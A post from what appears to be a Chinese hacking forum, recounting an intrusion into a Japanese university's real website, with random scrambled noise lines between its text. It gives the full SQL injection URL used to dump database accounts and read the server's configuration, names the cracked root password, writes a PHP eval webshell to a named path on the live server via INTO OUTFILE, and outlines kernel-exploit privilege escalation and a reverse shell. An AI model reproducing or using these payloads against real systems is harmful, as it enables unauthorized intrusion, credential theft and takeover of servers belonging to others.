中国网络渗透测试联盟
标题:
入侵日本同志社大学
[打印本页]
作者:
admin
时间:
2012-11-21 13:48
标题:
入侵日本同志社大学
入侵日本同志社大学技术分析
, m- m; [! `% @2 y( x) y, B
5 N- G. U9 W+ [) h) i9 }
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
7 E" U' G5 K; k: m, @- D
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
3 R5 D& U9 `- R# d
" w, p- x; M5 U4 u* h
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1
,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
6 H- m J1 [! L) N: V4 a; s
( L7 r8 v( Y* S. E4 t# b
" G+ p/ Q+ R3 L% E0 B' L" ]: ]3 ^
. G' j% \7 l: d* L# T1 c$ S3 A# k
//@@datadir为数据库文件路径
: N( e; t8 T3 z2 n$ W
$ M- f3 x2 @- F0 _; }
3 M) `6 v" N! T4 w/ p
//load_file读取网站容器apache的配置文件
# }7 i% h/ C/ m+ M6 j
/ n5 @' G! |% R3 K. P8 Q- I( J1 U
" S& Z0 |" O6 r+ h7 m
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
$ ]+ k; a v, f9 ]
复制代码
/ f4 a1 v- s- g, @
2 a& G4 e3 n$ q. n
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
( _9 ] Y2 k: ?5 l! ?; E7 T
1 i) e" f' @0 r& k1 y6 X" V( j$ `
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
# u& S, l5 w. O/ p4 a
(大家对以上各种查和语句不太懂的可以参考以下文章:
http://bbs.blackbap.org/thread-2243-1-1.html
)
4 x; B1 [# p% _6 L, t, u# P% m2 @
1 e2 d) I+ A0 G1 f6 a" Q1 ~
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
8 R; z6 F% R6 Q: V& |
如果知道怎么猜apache配置文件的路径的请参考以下文章:
http://bbs.blackbap.org/thread-2242-1-1.html
/ l1 P7 g; F4 N0 P
s! T; U/ h, K* c+ I* E( _' H, u
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
, ]5 ?" Q8 q4 j+ [
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
, y; w" |! Q4 p# O; _! x
直接写一句话:
/ s5 s: Z: M" `8 G9 S: n
2 R1 X2 N! E6 A) k' d$ g5 V/ N! A% j
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+
0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
e1 @6 ^0 x" k2 o- n& K
$ o6 K3 y4 \) s3 X1 y
0 t. L0 \, x; K9 D. a# T
H" P4 y* A! `: `/ n
//最后的#是为了闭合前面的语句
- ^3 f- n& }( z2 R' \2 y7 N. n
; r5 ] L% x: ^; e
. d! W8 g, W" ]1 R9 @ w: {' K t
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
- W/ F0 S @4 A8 a' E, {
& l& l' f/ [" l: I
1 x3 ^: ?9 \ X; A( q* a1 _( }1 i
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
& E; y/ a, y% i0 I2 I: _
, ?% t$ }2 A$ B2 H) _* o: O- ^
( H2 ~9 B- Q8 P/ C# S
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
# m, e" N/ j* Q" }. J
8 g7 {' x$ j( E" A& q ^/ o
* ?* _9 X* C T
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
& J4 P- C: F' |: ^: m& p
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
( f# B: z2 L: o/ K5 c" A6 }
复制代码
+ H" b! o! c+ W" E' f8 p7 q$ I
' L, i8 U5 L! }4 H
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
: k4 A" {7 _8 c3 t! L
通过上述注入语句,我们就得到了一句话木马:
. j- j1 t0 r A+ z9 V1 b
: d! v2 P- l. y m" d. p# w
! I0 }& {, r. C8 S8 G
. F& t% U6 b* O( t% G
$ S5 H+ u" q/ ]7 {
* w. X% _0 c# y ~
http://www.doshisha.ac.jp/english/engnews_img/aa.php
: ~- g2 |3 a9 D
复制代码
; X& B1 S$ u% B
7 F/ x# H- P$ r/ Y5 M9 y ?2 w
用菜刀连接,密码是cmd,如图所示:
: V0 y3 q# L r6 j R! _- L6 | ?
然后在命令提示行里看了一下,现在的权限是:
, I( V+ E; r( O5 [9 ^ A9 o! |
9 @* F8 U; |1 k, [5 h% v
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
- ?1 N- F0 g |$ }+ J- x. `, t
好在赋权给这个文件夹不需要root,直接执行赋权语句:
* V0 C( G; ~& T4 Z
* J9 Q3 N7 \. [5 }5 p( j
: H3 D- k( T, \7 U3 ?/ y X( |
0 s4 J1 `4 }" ^) ^0 g
{+ j6 O" K8 n/ Q1 \$ u, ^" C
; {3 }0 F1 v& w- h* T( N
chmod +x /tmp/
& ]' j6 z5 K( b$ ^
复制代码
' A1 ~; ~7 n, c& C: Y* D
( x1 ~3 p+ X7 L" N( W
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
6 k: h( \5 F d8 {, j4 Y
然后就查了一下内核版本:
8 P' l! k0 V7 P1 x7 _+ E9 L
# Q F2 X2 T# }4 k
: K( J! s! G [. o7 j' g7 k* L
- y: K" x) h) U0 ^: g
" ^! j& K6 }1 ^# B
, a: {" f) c5 g) S& @
uname-a
+ v* r6 B% a; [# d2 h
& }: [! l) f6 J
0 Q: g. H, i2 s) K8 i! Y
//其实lsb_release -a
: _* S3 l( g' ^* b2 u
复制代码
! g1 @0 O% L6 s8 P9 h9 ^9 r
$ v! ^/ @( p: A* R: B, W% z8 I
如图所示:
$ b$ ~0 d; v* d1 ^" n
$ a ]# q- r+ u9 P, `
内核版本:linux mainz1 2.6.28-194.e15
# l0 x- A0 L4 |' M' ~
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
2 M) {& l; p! g' g1 h& |
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
g+ K& I$ x s/ ?4 O
/ H: [5 X8 Y4 N4 c
然后给予执行权限
* d+ L; z; ^; h7 Q t2 o4 R) `+ o
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
6 G5 s9 o- z- c* Z# Q. [" H/ T; {
9 D8 X/ ^ A2 Z$ w3 R# |) x- P [
$ X" Y/ A0 n: X5 r' S4 s2 x
, r4 a: V! |* f7 E8 P
8 h+ n$ F0 v6 o* ?+ J. l
0 U8 {% T; |' L
chmod +x /tmp/2.6.18-194
6 m* v- F- \ D( I
复制代码 然后直接执行!~
, O' n5 N: V: E9 x$ p o9 k
2 M* t, U2 t% ]! p* s
总结:
7 B8 g, K1 o2 D+ ~0 s. n0 N, \9 v
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
, X9 A4 j7 i6 @
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
% l4 m4 p( W" O2 Y2 ?- s
; _6 ~' K0 c! {, j! B2 ^+ F9 E
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2